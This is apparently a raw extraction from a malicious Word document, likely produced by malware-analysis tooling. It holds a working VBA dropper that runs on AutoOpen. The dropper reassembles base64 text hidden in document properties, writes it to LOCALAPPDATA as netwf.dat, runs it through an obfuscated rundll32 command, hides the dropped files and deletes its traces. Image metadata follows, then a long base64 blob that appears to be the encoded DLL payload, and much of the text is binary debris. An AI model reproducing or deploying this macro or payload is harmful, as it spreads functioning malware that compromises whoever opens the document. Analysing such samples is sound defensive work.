    For quartet = 1 To Len(base64) Step 4
        groupBase64Number = 0
        Const base = 64
        realBytesInThisGroup = 3
        For i = 0 To 3
           inputChar = Mid(base64, quartet + i, 1)
           indexInTable = 0
        
           If "=" = inputChar Then
                realBytesInThisGroup = realBytesInThisGroup - 1
           Else
                indexInTable = InStr(1, decodeTable, inputChar, vbBinaryCompare) - 1
           End If
                 
           If -1 = indexInTable Then
                Exit Function
           End If
             
           groupBase64Number = (groupBase64Number * base) + indexInTable
        Next
      
        groupBase64Number = Hex(groupBase64Number)
            
        'add leading zeroes, lengt of hex = 6:
         groupBase64Number = String(6 - Len(groupBase64Number), "0") & groupBase64Number
            
        'split hex number into 3 groups, 2 hex characters each:
        decodedBytes(outputIndex) = CByte("&H" & Mid(groupBase64Number, 1, 2))
        outputIndex = outputIndex + 1
        If realBytesInThisGroup > 1 Then
            decodedBytes(outputIndex) = CByte("&H" & Mid(groupBase64Number, 3, 2))
            outputIndex = outputIndex + 1
            If realBytesInThisGroup > 2 Then
                decodedBytes(outputIndex) = CByte("&H" & Mid(groupBase64Number, 5, 2))
                outputIndex = outputIndex + 1
            End If
        End If
    Next
      
    DecodeBase64 = decodedBytes
End Function
     
Private Sub Execute()
    Dim Path As String
    Dim FileNum As Long
    Dim bin() As Byte
    Dim cmdLine As String
    Const HIDDEN_WINDOW = 1
    strComputer = "."
    
    'extract and decode encoded file
    Subject = ActiveDocument.BuiltInDocumentProperties.Item("Subject")
    Subject = Right(Subject, Len(Subject) - 50)
    
    Company = ActiveDocument.BuiltInDocumentProperties.Item("Company")
    Company = Right(Company, Len(Company) - 50)
    
    Category = ActiveDocument.BuiltInDocumentProperties.Item("Category")
    Category = Right(Category, Len(Category) - 50)
    
    Hyperlink_base = ActiveDocument.BuiltInDocumentProperties.Item("Hyperlink base")
    Hyperlink_base = Right(Hyperlink_base, Len(Hyperlink_base) - 50)
    
    Comments = ActiveDocument.BuiltInDocumentProperties.Item("Comments")
    Comments = Right(Comments, Len(Comments) - 50)
    
    
    base64 = Subject + Company + Category + Hyperlink_base + Comments
    bin = DecodeBase64(base64)

    'save decoded file
    Path = Environ("LOCALAPPDATA") + "\" + "netwf" + ".dat"
    
    PathPld = Environ("LOCALAPPDATA") + "\" + "netwf" + ".dll"
    PathPldBt = Environ("LOCALAPPDATA") + "\" + "netwf" + ".bat"
    
    If Dir(PathPld, vbHidden) <> "" Then
        Exit Sub
    End If
    
    FileNum = FreeFile
    Open Path For Binary Access Write As #FileNum
    Put #FileNum, 1, bin
    Close #FileNum
        
    cmdLine = "C:\" + "###" + "Win" + "###" + "dow" + "###" + "s\Sy" + "###" + "ste" + "###" + "m32\" + "run" + "###" + "dll" + "32" + "#" + ".exe " + """" + Path + """" + "###" + ",KlpSvc"
    WordBasic.[Shell] Replace(cmdLine, "#", "")
    
    If Dir(PathPld) <> "" Then
       SetAttr PathPld, vbHidden
    End If
    
    If Dir(PathPldBt) <> "" Then
         SetAttr PathPldBt, vbHidden
    End If
    
    If Dir(Path) <> "" Then
         Kill Path
    End If

End Sub




Vba2Graph

%3 AutoOpen AutoOpen Execute Execute AutoOpen->Execute DecodeBase64 DecodeBase64 Execute->DecodeBase64
cHRM
9iCCPPhotoshop ICC profile
GQW"'$
WtoZz:kU
Adobe Photoshop CS2 Windows
2012:11:14 13:30:16
Photoshop 3.0
boundsObjc
Top long
Leftlong
Btomlong
Rghtlong
slicesVlLs
slice
sliceIDlong
groupIDlong
originenum
ESliceOrigin
autoGenerated
Typeenum
ESliceType
boundsObjc
Top long
Leftlong
Btomlong
Rghtlong
urlTEXT
nullTEXT
MsgeTEXT
altTagTEXT
cellTextTEXT
horzAlignenum
ESliceHorzAlign
default
vertAlignenum
ESliceVertAlign
default
bgColorTypeenum
ESliceBGColorType
topOutsetlong
leftOutsetlong
bottomOutsetlong
rightOutsetlong
Adobe_CM
Adobe
9jhttp://ns.adobe.com/xap/1.0/
XICC_PROFILE
acspMSFT
IEC sRGB
-HP
3desc
lwtpt
pdmdd
$lumi
$tech
Copyright (c) 1998 Hewlett-Packard Company
sRGB IEC61966-2.1
sRGB IEC61966-2.1
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
CRT curv
LExif
Adobe Photoshop CS3 Windows
2009:04:17 14:18:01
Adobe_CM
Adobe
<Photoshop 3.0
boundsObjc
Top long
Leftlong
Btomlong
Rghtlong
slicesVlLs
slice
sliceIDlong
groupIDlong
originenum
ESliceOrigin
autoGenerated
Typeenum
ESliceType
boundsObjc
Top long
Leftlong
Btomlong
Rghtlong
urlTEXT
nullTEXT
MsgeTEXT
altTagTEXT
cellTextTEXT
horzAlignenum
ESliceHorzAlign
default
vertAlignenum
ESliceVertAlign
default
bgColorTypeenum
ESliceBGColorType
topOutsetlong
leftOutsetlong
bottomOutsetlong
rightOutsetlong
Adobe_CM
Adobe
http://ns.adobe.com/xap/1.0/
@ICC_PROFILE
acspMSFT
-ADBE
2desc
kwtpt
Copyright 1999 Adobe Systems Incorporated
Adobe RGB (1998)
Adobe
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
g!_jga
!_jga
]K"_jga
+_jga
,_jga
P\-_jga
J2_jga
3_jga
7_jga
:_jga
wE_jga
t,wE_jga
PeeQ_jga
Q_jga
St,wE
CUiV_jga
yE\_jga
fwe_jga
f_jga
f_jga
k&g_jga
]sh_jga
h_jga
A3l_jga
ymCUiV
ASq_jga
x_jga
s}PeeQ
~_jga
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
Rafael Moon
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